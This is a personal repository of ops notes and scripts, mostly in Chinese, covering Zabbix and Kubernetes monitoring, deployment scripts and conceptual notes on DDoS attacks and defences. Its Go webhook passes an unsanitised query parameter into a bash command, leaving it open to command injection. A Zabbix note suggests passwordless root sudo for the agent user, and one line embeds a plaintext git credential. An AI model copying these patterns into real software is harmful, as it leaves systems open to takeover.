/monitor/alert-media/dingding/dingTalk.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import requests
5 | import json
6 | import sys
7 | import os
8 |
9 | headers = {'Content-Type': 'application/json;charset=utf-8'}
10 | api_url = "https://oapi.dingtalk.com/robot/send?access_token=2e08472b761c36407e5475647ff1ba28d28dfdXXX.XXX.XXX.XXXxxxxxxxxxxxx"
11 |
12 | def msg():
13 | json_text= {
14 | "msgtype": "text",
15 | "text": {
16 | "content": sys.argv[1]+"\n\n"+sys.argv[2]
17 | },
18 | "at": {
19 | "atMobiles": [
20 | "1xxxxxxxxxxxxx"
21 | ],
22 | "isAtAll": False
23 | }
24 | }
25 | print requests.post(api_url,json.dumps(json_text),headers=headers).content
26 |
27 | if __name__ == '__main__':
28 | msg()
29 |
--------------------------------------------------------------------------------
/monitor/monitor-k8s.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. K8s仪表盘:插件工具,展示每个K8s集群上的资源利用情况,也是实现资源和环境管理与交互的主要工具。
8 | 2. 容器探针:容器健康状态诊断工具。 -- blackbox
9 | 3. Kubelet:每个Node上都运行着Kubelet,监控容器的运行情况。Kubelet也是Master与各个Node通信的渠道。Kubelet能够直接暴露cAdvisor中与容器使用相关的个性化指标数据。
10 | 4. cAdvisor:开源的单节点agent,负责监控容器资源使用情况与性能,采集机器上所有容器的内存、网络使用情况、文件系统和CPU等数据。
11 | cAdvisor简单易用,但也存在不足:一是仅能监控基础资源利用情况,无法分析应用的实际性能;二是不具备长期存储和趋势分析能力。
12 | 5. Kube-state-metrics:轮询Kubernetes API,并将Kubernetes的结构化信息转换为metrics。
13 | 6. Metrics server:Metrics server定时从Kubelet的Summary API采集指标数据,并以metric-api的形式暴露出去。
14 |
15 | https://blog.csdn.net/u013256816/article/details/107724335
16 |
17 | cAdvisor:集成在 Kubelet 中。
18 |
19 | kubelet:10255 为非认证端口,10250 为认证端口。
20 |
21 | apiserver:6443 端口,关心请求数、延迟等。
22 |
23 | scheduler:10251 端口。
24 |
25 | controller-manager:10252 端口。
26 |
27 | etcd:如 etcd 写入读取延迟、存储容量等。
28 |
29 | Docker:需要开启 experimental 实验特性,配置 metrics-addr,如容器创建耗时等指标。
30 |
31 | kube-proxy:默认 127 暴露,10249 端口。外部采集时可以修改为 0.0.0.0 监听,会暴露:写入 iptables 规则的耗时等指标。
32 |
33 | kube-state-metrics:Kubernetes 官方项目,采集 Pod、Deployment 等资源的元信息。
34 |
35 | node-exporter:Prometheus 官方项目,采集机器指标如 CPU、内存、磁盘。
36 |
37 | blackbox_exporter:Prometheus 官方项目,网络探测,DNS、ping、http 监控。
38 |
39 | process-exporter:采集进程指标。
40 |
41 | NVIDIA Exporter:我们有 GPU 任务,需要 GPU 数据监控。
42 |
43 | node-problem-detector:即 NPD,准确的说不是 Exporter,但也会监测机器状态,上报节点异常打 taint。
44 |
45 | 应用层 Exporter:MySQL、Nginx、MQ 等,看业务需求。
46 |
--------------------------------------------------------------------------------
/monitor/zabbix/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-06-12
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Zabbix
8 |
9 | 01. [zabbix-server3.4 Install](./zabbix-install-3.4.md)
10 | 02. [zabbix-server5.0 Install](./zabbix-install-5.0.md)
11 | 03. [agent Install 数据采集器安装](./agent-install.md)
12 | 04. [agent debug 调试工具](./agent-debug.md)
13 | 05. [items 监控项](./server-items.md)
14 | 06. [triggers 触发器](./server-triggers.md)
15 | 07. [performance tune 性能优化](./server-performance.md)
16 | 08. [zabbix-proxy 代理数据收集](./server-performance.md)
17 | 09. [zabbix-mysql 数据库字段讲解](./zabbix-mysql-table.md)
18 | 10. [zabbix config 配置讲解](./zabbix-config.md)
19 | 11. [error log 错误日志讲解](./zabbix-log.md)
20 | 12. [templates 模版](./zabbix-template.md)
21 | 13. [others 其它](./zabbix.md)
22 |
23 | - Grafana模版 Zabbix-Simple-V5.0 https://grafana.com/grafana/dashboards/13355
24 |
--------------------------------------------------------------------------------
/monitor/zabbix/agent-debug.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-06-12
3 | ---
4 |
5 | [TOC]
6 |
7 | - zabbix调试测试工具
8 |
9 | ## zabbix-get
10 |
11 | - 实现从zabbix-agent端获取数据
12 |
13 | ```bash
14 | # 安装
15 | yum install zabbix-get -y
16 | # 检测本地是否能连接上zabbix-agent
17 | zabbix_get -s ${IP} -p 10050 -k agent.ping
18 | # 批量向zabbix-agent发送数据
19 | zabbix_get -s ${IP} -i data.txt
20 | ```
21 |
22 | ## zabbix_sender
23 |
24 | - 实现向zabbix-server主动推送数据
25 |
26 | ```bash
27 | # 安装
28 | rpm -i http://repo.zabbix.com/zabbix/3.4/rhel/7/x86_64/zabbix-release-3.4-2.el7.noarch.rpm
29 | yum install zabbix-sender
30 | # 发送一个KV键值对
31 | zabbix_sender -z ${IP} -s "aa" -k aa.bb -o 43
32 | # 发送多个KV键值对
33 | zabbix_sender -z ${IP} -i 文件路径
34 | # -z 指zabbix server ip
35 | # -s 指主机的hostname
36 | # -k 指对应的key值
37 | # -o 表示要主动推送的数据
38 | # -i 从文件里面读取hostname key value
39 | ```
40 |
41 | ## snmp检测工具
42 |
43 | ```bash
44 | snmpwalk -v 2c -c public ${IP}
45 | # -v 指定版本(必填项)
46 | # -c 指定密钥 community string(必填项)
47 | ```
48 |
--------------------------------------------------------------------------------
/monitor/zabbix/server-performance.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-06-12
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 优化
8 |
9 | - 参考文档
10 | - https://www.zabbix.com/documentation/3.4/manual/config/items/queue
11 | - https://blog.csdn.net/bbwangj/article/details/80981098
12 | - 未研究 https://www.cnblogs.com/luoahong/articles/7911543.html
13 | - 未研究 https://www.cnblogs.com/guarderming/p/10219897.html
14 | - 未研究 https://www.cnblogs.com/yaoyaojcy/p/8259827.html
15 |
16 | 1. queue: 表示item从数据库读取数据的耗时
17 |
18 | 2. queue延迟的原因
19 |
20 | - 子节点性能
21 | - 子节点与主节点之间的通行质量
22 | - 子节点与主节点之间的时间差
23 | - 数据库数据量过大
24 |
--------------------------------------------------------------------------------
/monitor/zabbix/server-proxy.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## zabbix-server和zabbix-proxy间的通信机制
8 |
9 | - 官方文档 https://www.zabbix.com/documentation/3.4/manual/concepts/proxy
10 |
11 | 1. zabbix-proxy 和 agent进行通信 获取监控数据,然后存入数据库proxy_history表中。
12 |
13 | 2. zabbix-server 和 zabbix-proxy进行通信,zabbix-proxy数据库里的数据通过TCP协议传输至zabbix-server的数据库里。
14 |
15 | 3. zabbix-server 和 zabbix-proxy 通过TCP协议进行连接。推测是短连接。
16 |
17 | - proxy主动模式,则proxy通过 data sender线程向server发送数据。
18 | - proxy为被动模式,则server通过proxy poller线程去获取数据。
19 |
20 | ## zabbix-proxy 配置文件
21 |
22 | ```conf
23 | DataSenderFrequency=1 # 主动模式下,proxy向 zabbix-server 发送采集到的数据 的时间间隔。默认为1秒 。
24 | ConfigFrequency=3600 # 主动模式下,proxy向 zabbix-server 拉取监控项配置进行更新 的时间间隔。默认为1小时。
25 | ProxyOfflineBuffer=1 # 当proxy和server连接失败时,依然保留采集到的数据多长时间。 默认为1小时。
26 | HousekeepingFrequency=4 # 每小时执行多少次数据清理的程序。默认为4次。
27 | ```
28 |
--------------------------------------------------------------------------------
/monitor/zabbix/zabbix-config.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | [TOC]
8 |
9 | - 参考文档 https://www.cnblogs.com/jjzd/p/7010214.html
10 |
11 | ## zabbix的master
12 |
13 | ```conf
14 | Server=XXX.XXX.XXX.XXX
15 | Hostname=XXX.XXX.XXX.XXX
16 | DBHost=localhost
17 | DBName=zabbix_proxy
18 | DBUser=zabbix
19 | DBPassword=zabbix
20 | ```
21 |
22 | ## zabbix的agent
23 |
24 | ```conf
25 | # vim /etc/zabbix/zabbix_agentd.conf 更改
26 | StartAgents=1 # 客户端agent模式,设置为0表示关闭被动模式,被监控端的 zabbix_agentd 不监听
27 |
28 | Server=XXX.XXX.XXX.XXX # 被动模式下,需要配置的server的IP
29 | ServerActive=XXX.XXX.XXX.XXX # 主动模式下,需要配置的server的IP
30 | Hostname=XXX.XXX.XXX.XXX # 在一个监控集群里要保证其唯一性;主动模式下,server端的hostname要和此配置一样
31 |
32 | EnableRemoteCommands=1 # 设置来自zabbix服务器的远程命令被执行
33 | LogRemoteCommands=1 # 记录RemoteCommands的日志
34 | # 以zabbix用户执行指令 su -s /bin/bash -c "ls" zabbix || sudo -u zabbix ls
35 | # 如果需要执行root才可以执行的指令 visudo 添加配置 zabbix ALL=(ALL) NOPASSWD: ALL
36 |
37 | UnsafeUserParameters=1 # 是否启用自定义key;zabbix监控mysql、tomcat等数据时需要自定义key
38 |
39 | Include=/etc/zabbix/zabbix_agentd.d/*.conf # 默认位置
40 | AlertScriptsPath=/usr/lib/zabbix/alertscripts # 自定义告警的默认位置
41 |
42 | RefreshActiveChecks=120 #主动模式下zabbix-agent到服务器获取监控项的周期,默认120s
43 |
44 | # 自定义监控项
45 | UserParameter=item_name[*],$(shell)
46 | ```
47 |
--------------------------------------------------------------------------------
/monitor/zabbix/zabbix-log.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-06-10
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 报错记录
8 |
9 | 1. 告警阶段触发器被disable
10 |
11 | - 参考文档 https://blog.csdn.net/clm_sky/article/details/90489340
12 |
13 | ```txt
14 | 告警升级执行过程中,如果出现动作禁用、基于触发器的事件删除、触发器禁用或删除、触发器相关的主机或监控项禁用、监控项禁用或删除、主机禁用等情况时,正在发送中的信息和告警升级中配置的其他信息会被发送。只是后面发送的信息中会加上(NOTE: Escalation cancelled),比如说动作禁用时会在信息前加上NOTE: Escalation cancelled: action '' disabled,通过这种方法通知用户取消告警升级。取消的原因也可以通过设置Debug Level = 3从日志文件中查看。
15 | ```
16 |
17 | 2. 500 ,zabbix web 报错
18 |
19 | - /etc/httpd/logs/error_log
20 |
21 | ```log
22 | [Thu Jul 22 23:39:44.152344 2021] [:error] [pid 22975] [client 116.228.132.228:55395] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 77 bytes) in /usr/share/zabbix/include/classes/api/CRelationMap.php on line 104, referer: http://zabbix.abcrender.com/hostinventories.php?ddreset=1
23 | ```
24 |
25 | - 更改 memory_limit 为 512M\
26 | /etc/httpd/conf.d/zabbix.conf
27 |
28 | ```conf
29 | php_value memory_limit 256M # PHP 单个脚本单次执行最大可用内存限制。默认限制为 256MB。
30 | ```
31 |
32 | - systemctl restart httpd
33 |
34 | 3. zabbix-agent2的异常日志
35 |
36 | - /var/log/zabbix/zabbix_agent2.log里的异常日志。不影响软件正常使用。
37 |
38 | ```log
39 | 2022/06/01 16:57:48.542067 [101] active check configuration update from [101.43.98.179:10051] started to fail (Cannot read message: 'read tcp 117.148.141.247:57509->101.43.98.179:10051: i/o timeout')
40 | ```
41 |
42 | - 无可奈何的解决方案: 注释掉/etc/zabbix/zabbix_agent2.conf里的ServerActive=,关闭主动模式.
43 | - 方案: 更改配置,增加超时的时间 Timeout
44 | - https://www.zabbix.com/forum/zabbix-troubleshooting-and-problems/417103-refreshactivechecks-i-o-timeout?view=stream
45 |
46 | 4. cannot send list of active checks to "XXX.XXX.XXX.XXX": host [XXX.XXX.XXX.XXX] not found
47 |
48 | - zabbix server的web界面的主机里面的主机名称和agent里配置的Hostname不一致。
49 | - zabbix server已经不监控这台主机了,但这台主机的agent依然活着且向zabbix server发送监控数据。
50 |
--------------------------------------------------------------------------------
/monitor/zabbix/zabbix-mysql-table.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/monitor/zabbix/zabbix-mysql-table.png
--------------------------------------------------------------------------------
/monitor/zabbix/zabbix-process.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/monitor/zabbix/zabbix-process.png
--------------------------------------------------------------------------------
/monitor/zabbix/zabbix-template.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-06-12
3 | ---
4 |
5 | [TOC]
6 |
7 | - 记录zabbix监控模版修改
8 |
9 | ## Template Module Linux network interfaces by Zabbix agent active
10 |
11 | 1. 更改以下监控项原型 interval 为10s
12 | 1. Interface {#IFNAME}: Bits received
13 | 2. Interface {#IFNAME}: Bits sent
14 |
15 | ## Template Module Linux block devices by Zabbix agent active
16 |
17 | 1. 添加监控项原型 interval 为30s
18 | 1. {#DEVNAME}: Disk kB_read
19 | 2. {#DEVNAME}: Disk kB_write
20 | 3. {#DEVNAME}: Disk tps
21 |
22 | ## Template Module Linux CPU by Zabbix agent active
23 |
24 | 1. 更改以下监控项 interval 为10s
25 | 1. CPU idle time
26 |
27 | ## Template Module Linux memory by Zabbix agent active
28 |
29 | 1. 更改以下监控项 interval 为10s
30 | 1. Available memory in %
31 |
--------------------------------------------------------------------------------
/monitor/zabbix/zabbix.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 宏
8 |
9 | - https://www.zabbix.com/documentation/3.4/zh/manual/config/macros
10 | - https://www.zabbix.com/documentation/3.4/manual/appendix/macros/supported_by_location
11 | - https://www.cnblogs.com/skyflask/p/7523535.html
12 |
13 | ## 自动发现
14 |
15 | - Discovery rule
16 |
17 | 1. 写脚本返回json格式的数据
18 |
19 | ```json
20 | {"data":[{"{#custom_name}":"value1"},{"{#custom_name}":"value12"}]}
21 | ```
22 |
23 | 2. 在web界面配置Discovery rule
24 |
25 | 3. 在web界面配置Item prototypes
26 |
27 | - 可以使用Discovery rule里返回的变量 item_name\_{#custom_name}[参数1, ${custom_name}]
28 |
29 | 4. 在web界面配置Trigger prototypes
30 |
--------------------------------------------------------------------------------
/record/cellphone.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-11-19
3 | ---
4 |
5 | [TOC]
6 |
7 | ## airmirrir & airdroid
8 |
9 | - 官网 https://www.airdroid.com/
10 | - 参考教程
11 | 1. 用iOS设备远程控制安卓设备 https://zhuanlan.zhihu.com/p/502302496
12 | 2. airdroid 获取root权限,远程控制工具 https://www.airdroid.cn/download/
13 | 3. 免Root操作 https://zhuanlan.zhihu.com/p/610098282
14 |
--------------------------------------------------------------------------------
/record/domain.md:
--------------------------------------------------------------------------------
1 | ## 中国大陆域名备案
2 |
3 | 1. ICP备案由工业和信息化部(工信部)管理,而公安网安备案则由公安机关负责管理。这是最根本的区别。
4 | 2. ICP备案主要解决网站运营资质问题,区分经营性与非经营性服务,确保信息传播的合法性。而公安网安备案则更注重网站内容安全监管,目的是防止非法网站经营活动,打击不良信息传播。
5 | 3. ICP备案需要提供营业执照/身份证、域名证书、服务器托管协议等;而公安网安备案需要填写《备案表》、网站安全评估报告、负责人身份证复印件等。
6 | 4. CP备案号格式为"省简称+ICP备+序列号"(如"京ICP备12345678号"),而公安网安备案号格式为"省简称+公网安备+序列号"(如"京公网安备110000000001号")。
7 | 5. ICP备案约需20个工作日,公安网安备案约需7个工作日。
8 |
9 |
10 |
11 | | **维度** | **ICP备案** | **公安网安备案** |
12 | | :------------- | :----------------------------------------- | :----------------------------------------------------------- |
13 | | **主管部门** | 工业和信息化部(工信部) | 公安部及地方网安部门 |
14 | | **法律依据** | 《互联网信息服务管理办法》 | 《计算机信息网络国际联网安全保护管理办法》(公安部令第33号) |
15 | | **核心目的** | 审核网站运营资质,区分经营性与非经营性服务 | 监管网站内容合法性,防范网络犯罪和有害信息传播 |
16 | | **适用对象** | 所有境内服务器托管的网站(含个人/企业) | 同ICP备案范围,且需在ICP备案后办理 |
17 | | **备案顺序** | 需优先办理 | 需在ICP备案通过后、网站开通30日内完成 |
18 | | **办理平台** | 通过服务器商(如阿里云/腾讯云)提交 | 全国互联网安全管理服务平台([https://beian.mps.gov.cn)](https://beian.mps.gov.cn)/) |
19 | | **备案材料** | 营业执照/身份证、域名证书、服务器协议 | 《备案表》签字件、安全评估报告、负责人身份证 |
20 | | **审核周期** | 约20个工作日 | 约7个工作日 |
21 | | **备案号样式** | 例:京ICP备12345678号 | 例:京公网安备110000000001号 |
22 | | **未备案后果** | 警告→关闭网站 | 警告→停机整顿≤6个月 |
--------------------------------------------------------------------------------
/record/wechat.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-12-13
3 | ---
4 |
5 | [TOC]
6 |
7 | - 公众号接入微信企业提供的人工智能
8 |
9 | - https://openai.weixin.qq.com/
10 | - https://github.com/wechaty/wechaty-weixin-openai
11 | - 参考 http://t.zoukankan.com/juemuren4449-p-12382809.html
12 |
13 | - 后台如何接入微信公众号
14 |
15 | - https://help.weimengcms.com/html/admin/article/154.html
16 | - https://www.liaoxuefeng.com/article/929799249853600
17 |
18 | ## 微信接入openai
19 |
20 | - https://github.com/fuergaosi233/wechat-chatgpt
21 |
22 | ```bash
23 | image_version=0.0.3
24 | docker run -d --name wechat-chatgpt -v $(pwd)/config.yaml:/app/config.yaml holegots/wechat-chatgpt:${image_version}
25 | ```
26 |
--------------------------------------------------------------------------------
/scripts/autoWeb/READ.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | https://developer.github.com/webhooks/
8 |
--------------------------------------------------------------------------------
/scripts/autoWeb/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "log"
6 | "os/exec"
7 | "time"
8 | "io/ioutil"
9 |
10 | "github.com/gin-gonic/gin"
11 | )
12 |
13 | // func init() {
14 | // file := "./" + "autoWeb" + ".log"
15 | // logFile, err := os.OpenFile(file, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0644)
16 | // if err != nil {
17 | // panic(err)
18 | // }
19 | // log.SetOutput(logFile) // 将文件设置为log输出的文件
20 | // log.SetPrefix("[qSkipTool]")
21 | // log.SetFlags(log.LstdFlags | log.Lshortfile | log.LUTC)
22 | // return
23 | // }
24 | func main() {
25 | web()
26 | }
27 |
28 | func web() {
29 | r := gin.Default()
30 | r.POST("/project", func(c *gin.Context) {
31 | t := time.Now().String()
32 | log.Println("==start==", t)
33 | project := c.Query("project")
34 | msg, err := execShell(project)
35 | c.JSON(200, gin.H{
36 | "message": msg,
37 | "err": err,
38 | })
39 | dataBuff, _ := ioutil.ReadAll(c.Request.Body)
40 | log.Println(string(dataBuff))
41 | log.Println("err:\n", err)
42 | log.Println("msg:\n", msg)
43 | log.Println("==end==")
44 | })
45 | log.Println("listen and serve on 0.0.0.0:8888")
46 | r.Run(":8888")
47 |
48 | }
49 | func execShell(project string) (string, string) {
50 | gitURL := "git@git.i.garys.top:sre/" + project
51 | // gitURL := "https://xieshigang:123456@git.i.garys.top:sre/" + project
52 | branch := "master"
53 | temp1 := "project=" + project + " && space_path=/task/project/ && path=${space_path}${project}/children/templates && cd $path"
54 | temp2 := " && git pull " + gitURL + " " + branch + " && kubectl apply -f ."
55 | shell := temp1 + temp2
56 | // var buf strings.Builder
57 | // buf.WriteString(project)
58 | // buf.WriteString(cmd1)
59 | // buf.WriteString(cmd2)
60 | // shell := buf.String()
61 | log.Println("shell: ", shell)
62 | cmd := exec.Command("/bin/bash", "-c", shell)
63 | var out bytes.Buffer
64 | var err bytes.Buffer
65 | cmd.Stdout = &out
66 | cmd.Stderr = &err
67 | cmd.Run()
68 | return out.String(), err.String()
69 | }
70 |
--------------------------------------------------------------------------------
/scripts/multi-linux-ssh-init.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ```bash
8 | #!/bin/bash
9 |
10 | # No secret login
11 | login(){
12 | file='/home/centos/.ssh/authorized_keys'
13 | #file='/root/.ssh/authorized_keys'
14 | command="mkdir /home/centos/.ssh/; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3cdqwFtaB7y8tBJ6wRt10R11CTNkWmtoPv1jW5WZNlp0mxEvmhT/S7ARAGbRNDSpdq6UoWs97L6F1UwURLtHzZ5g6iKApYdZRTIQgSq1VQ2TmqjIJ8V1dZOUw2aALYwJkIqy2WhRN5fleHSP6rktWpw2q1IZv12JeLukMlDjq+EBOp0TtkRaaek8pwruXsEf+VkBTkEPEhwP4AVghqLPtBN2ta+NKtfFGr3CDW7kAzTDCwl1hrlvHhzK5VN81fG035HAJqPnPqfXx1HwF0i0EEApr/7BFrcC2gKuZZLSC7eg1KEE2i0JXXX.XXX.XXX.XXXxxxx centos@${IP}' >> ${file}"
15 |
16 | ssh -i 1-1-1-1.pem root@1.1.1.1 $command
17 | }
18 |
19 | init(){
20 | loginuser='centos'
21 | command_fdisk="sudo fdisk /dev/nvme1n1 < fdisk.txt && sudo partprobe"
22 | command_lvm="sudo yum -y install lvm2 && sudo pvcreate /dev/nvme1n1p1 && sudo vgcreate vg_data /dev/nvme1n1p1 && sudo lvcreate -n lv_data -L 199.99G vg_data && sudo mkfs.xfs /dev/vg_data/lv_data"
23 | command_mount="sudo mkdir /data ; echo '/dev/vg_data/lv_data /data xfs defaults 0 0' | sudo tee -a /etc/fstab && sudo mount -a && sudo df -hT"
24 | command_mkdir="sudo mkdir /data/chain; sudo chown -R centos.centos /data; ls -l /data"
25 |
26 | ip_arrays=(1.1.1.1 2.2.2.2)
27 | seq=0
28 | for ip in ${ip_arrays[@]} ;do
29 | let seq+=1
30 | #scp fdisk.txt ${loginuser}@$ip:~/
31 | #ssh ${loginuser}@$ip "$command_fdisk && $command_lvm && $command_mount"
32 | ssh ${loginuser}@$ip "$command_mkdir"
33 | echo -e "${seq} finished===================================$ip"
34 | done
35 | }
36 | init
37 | ```
38 |
--------------------------------------------------------------------------------
/secure/attack.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-01-02
3 | ---
4 |
5 | [TOC]
6 |
7 | # 常见的攻击方法
8 |
9 | 01. KeyLogger 键盘监听
10 | 02. DDOS Attack (Distributed Denal of Service)
11 | 03. Waterhole Attack 水坑式攻击
12 | 04. Fake WAP 虚假网页
13 | 05. Eavesdropping 网络窃听
14 | 06. Phishing 网络钓鱼
15 | 07. Virus 病毒
16 | 08. Clicjjacking 点击劫持
17 | 09. Cookie theft 窃取Cookie
18 | 10. Bait and Switch 诱取和开关
19 |
20 | ## DDos
21 |
22 | - 定义: 通过占用服务的网络资源、连接资源,让服务应接不暇,从而拒绝正常的流量。
23 |
24 | ### 针对IP协议攻击
25 |
26 | 1. ICMP flood
27 | - 通过发送ICMP协议数据包,占用目标的带宽资源。
28 | - ping产生的是ICMP协议包,ICMP是IP协议中用来进行差错控制的一个补充
29 |
30 | ### 针对UDT协议攻击
31 |
32 | 2. UDT flood
33 | - 通过发送UDT数据包,占用目标的带宽资源。
34 | - UDT flood增强版
35 | 1. IP伪造
36 | - 更改数据包的发送地址。
37 | 2. 反射攻击
38 | - 更改数据包的接收地址。将数据包发送到第三方机器,第三方机器向接收地址回复数据包。
39 | - 第三方机器也被称之为“反射器”。
40 | 3. 放大器
41 | - 当“反射器”接收到数据包时,会返回更大的数据包。
42 |
43 | ### 针对TCP协议攻击
44 |
45 | 1. TCP flood
46 |
47 | - 通过和目标构建大量的TCP连接,从而占满目标机器上的TCP连接表。
48 |
49 | 2. SYN flood
50 |
51 | - 通过伪造IP/反射器,然后发送给目标机器SYN建立连接的数据包,然后不回复对方的SYN+ACK数据包息,由于TCP里的重传机制,目标机器将多次尝试发送SYN+ACK数据包直到超时。
52 |
53 | 3. RST flood
54 |
55 | - TCP协议中,一般用4次挥手结束连接,为了防止出现异常,一方可以发送一个RST数据包进行强制切段连接
56 | - 伪造各种IP地址,发送RST数据包给目标机器,一旦伪造的IP和其它的一些配置和某个正常用户匹配上,就能能够切断正常用户和服务器之间的连接。
57 | - 例如在一场网络游戏对战中,在获悉对手的IP地址之后,就可以通过此种方式不断切段对手的游戏设备和服务器间的连接,以干扰对方玩家的操作。
58 |
59 | ### 针对HTTP协议攻击
60 |
61 | 1. HTTP flood
62 | - 通过对网站进行特定的访问,使用目标服务并发执行大量的业务代码,从而消耗目标服务器的CPU或内存或IO。例如业务代码可能会执行数据库查询这样的IO操作。
63 | - 建立了TCP连接,因此不能伪造IP地址,因此需要zombie机器。
64 |
65 | ### 防DDos
66 |
67 | 1. 网络设备IP过滤(涉及到用户、服务商、设备商、监管部门,因此难以实现)
68 |
69 | - 路由器将数据包源地址IP本不属于所在网络段的数据包都过滤掉。
70 |
71 | 2. 通过CDN技术
72 |
73 | 3. 流量清洗设备
74 |
--------------------------------------------------------------------------------
/secure/certificate.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-05-18
3 | ---
4 |
5 | [TOC]
6 |
7 | ## PCI DSS
8 |
9 | 1. 参考
10 |
11 | - https://www.zhihu.com/question/19728744
12 | - https://baike.baidu.com/item/PCI%20DSS
13 | - https://www.pcisecuritystandards.org/ 组织官网
14 | - https://stripe.com/zh-cn-cz/guides/pci-compliance
15 |
16 | 2. PCI DSS
17 |
18 | - 支付卡行业数据安全标准
19 | - 支付卡行业(PCI,Payment Card Industry)
20 | - 数据安全标准(DSS,Data Security Standard)
21 |
22 | 3. PCI-DSS认证
23 |
24 | - PCI 合规级别有 4 个
25 | - 级别一 必须通过自我安全检测、漏洞分析以及由协会执行的安全调查这三个步骤,审查范围包括硬件、软件、工作流程、员工、用户等诸多内容,总共有200项审查项目。
26 |
27 | ### 获取认证策略
28 |
29 | - 进行网络隔离,缩小审核范围。
30 |
31 | ### 数据安全标准 – 主要概述
32 |
33 | 建立并维护安全的网络和系统
34 |
35 | 01. 安装并维护防火墙配置以保护持卡人数据
36 | 02. 不要使用供应商提供的默认系统密码和其他安全参数
37 | 保护持卡人数据
38 | 03. 保护存储的持卡人数据
39 | 04. 加密持卡人数据在开放式公共网络中的传输
40 | 维护漏洞管理计划
41 | 05. 为所有系统提供恶意软件防护并定期更新杀毒软件或程序
42 | 06. 开发并维护安全的系统和应用程序
43 | 实施强效访问控制措施
44 | 07. 按业务知情需要限制对持卡人数据的访问
45 | 08. 识别并验证对系统组件的访问
46 | 09. 限制对持卡人数据的物理访问
47 | 定期监控并测试网络
48 | 10. 跟踪并监控对网络资源和持卡人数据的所有访问
49 | 11. 定期测试安全系统和流程
50 | 维护信息安全政策
51 | 12. 维护针对所有工作人员的信息安全政策
52 |
53 | ### 巡检
54 |
55 | - 至少每个季度运行一次内部和外部网络漏洞扫描
56 | - 每年至少执行一次外部穿透测试
57 | - 至少每年执行一次内部穿透测试
58 | - 对于涉及到PCI DSS的资产,每年进行一次风险评审工作并且生成记录
59 | - 安全事件应急演练
60 | - 需要将安全事件(防病毒、入侵、文件完整性、帐号登陆)纳入到日常监控中
61 |
62 | ## CIS
63 |
64 | Center for Internet Security 是一非盈利组织。
65 | CIS Controls和CIS Benchmarks是保护IT系统和数据免受最普遍\*\*\*的全球标准和公认的最佳实践。
66 |
67 | ## ISO17799-27001
68 |
69 | ## PFI
70 |
71 | -
72 |
--------------------------------------------------------------------------------
/secure/defence.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-23
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 安全产品
8 |
9 | ### 防火墙
10 |
11 | - 功能:主要是通过对 IP:port 的限制访问,来保障安全。
12 |
13 | ### IDS
14 |
15 | - 入侵检测系统 Intrusion Detection Systems
16 | - 功能:主要是通过监控分析网络流量活动,提供分析报告。
17 |
18 | ### IPS
19 |
20 | - 入侵防御系统
21 |
22 | - 按其用途划分为单机入侵预防系统(HIPS)和网络入侵预防系统(NIPS: Network Intrusion Prevension System)
23 |
24 | - 主要是通过定义N种已知的攻击模式,分析数据包内容,根据模式匹配去阻断非法访问。
25 |
26 | - 缺陷:默认开放所有的访问,只有自己认识的访问,才进行阻断。
27 |
28 | ### 主动安全类
29 |
30 | - 协议针对性非常强。可以监控应用业务层级的访问,对于不认识的业务访问全部隔离。
31 | - WAF 专门负责HTTP协议的安全处理。
32 | - DAF 专门负责数据库Sql 查询类的安全处理。
33 |
--------------------------------------------------------------------------------
/secure/learn.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-01-02
3 | ---
4 |
5 | [TOC]
6 |
7 | # 安全学习训练平台
8 |
9 | 01. bWAPP
10 |
11 | - www.itsecgameses.com
12 | - 免费和开源的web应用程序安全项目。有助于安全爱好者及研究人员发现和防止web漏洞。
13 |
14 | 02. DVIA
15 |
16 | - damnvulnerableiosapp.com
17 | - 一个IOS的安全应用。给移动安全爱好者学习IOS的渗透测试技巧提供一个合法的平台。
18 |
19 | 03. DVWA
20 |
21 | - dvwa.co.uk
22 | - 基于php和mysql的虚拟Web应用。内置常见的Web漏洞,如SQL注入、xss之类,可以搭建在自己的电脑上。
23 |
24 | 04. Game of Hacks
25 |
26 | - www.gameofhacks.com
27 | - 基于游戏的方式来测试你的安全技术。每个任务题目提供了大量的代码,其中可能有也可能没有安全漏洞。
28 |
29 | 05. Google Gruyere
30 |
31 | - https://google-gruyere.appspot.com/
32 | - 一个看起来很low的网站,但充满了漏洞,目的是为了帮助那些刚开始学习应用程序安全性的人员。
